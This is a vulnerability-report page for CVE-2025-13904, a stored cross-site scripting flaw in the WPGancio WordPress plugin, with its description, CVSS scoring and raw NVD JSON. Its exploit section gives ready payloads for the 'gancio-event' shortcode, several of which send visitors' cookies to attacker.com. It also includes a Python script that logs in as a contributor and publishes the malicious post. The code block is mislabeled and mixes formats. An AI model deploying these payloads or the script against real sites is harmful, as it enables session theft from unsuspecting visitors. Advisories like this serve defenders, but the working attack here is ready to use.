Security Vulnerability Report
中文
CVE-2025-13904 CVSS 6.4 MEDIUM

CVE-2025-13904

Published: 2025-12-12 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The WPGancio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gancio-event' shortcode in all versions up to, and including, 1.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPGancio WordPress插件 <= 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Shortcode Stored XSS PoC for CVE-2025-13904 --> <!-- Attack requires Contributor-level or higher WordPress account --> <!-- Basic XSS Payload in gancio-event shortcode --> [gancio-event id='1" onmouseover="alert(document.cookie)" x="'] <!-- More obfuscated payload to bypass basic filters --> [gancio-event slug='test' style='x:expression(eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ==")))'] <!-- img onerror-based payload --> [gancio-event url='https://example.com/event/1' title='Test" onerror="fetch("https://attacker.com/steal?c="+document.cookie)" x="'] <!-- JavaScript event handler injection --> [gancio-event id='1' onclick='fetch("https://attacker.com/?data="+btoa(document.cookie))'] <!-- Automated exploitation script (Python) --> import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Event Page", "post_content": "[gancio-event id='1\" onmouseover=\"fetch(\"https://attacker.com/steal?c=\"+document.cookie)\" x=\"']", "post_status": "publish", "action": "editpost" } response = session.post(post_url, data=post_data) print("Exploit sent. Waiting for victims...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13904", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPGancio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gancio-event' shortcode in all versions up to, and including, 1.12 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpgancio/tags/1.12/wc.php#L33", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpgancio/trunk/wc.php#L33", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/593fefe1-8813-440b-b8c7-fbfd5b71a737?source=cve", "source": "[email protected]"}]}}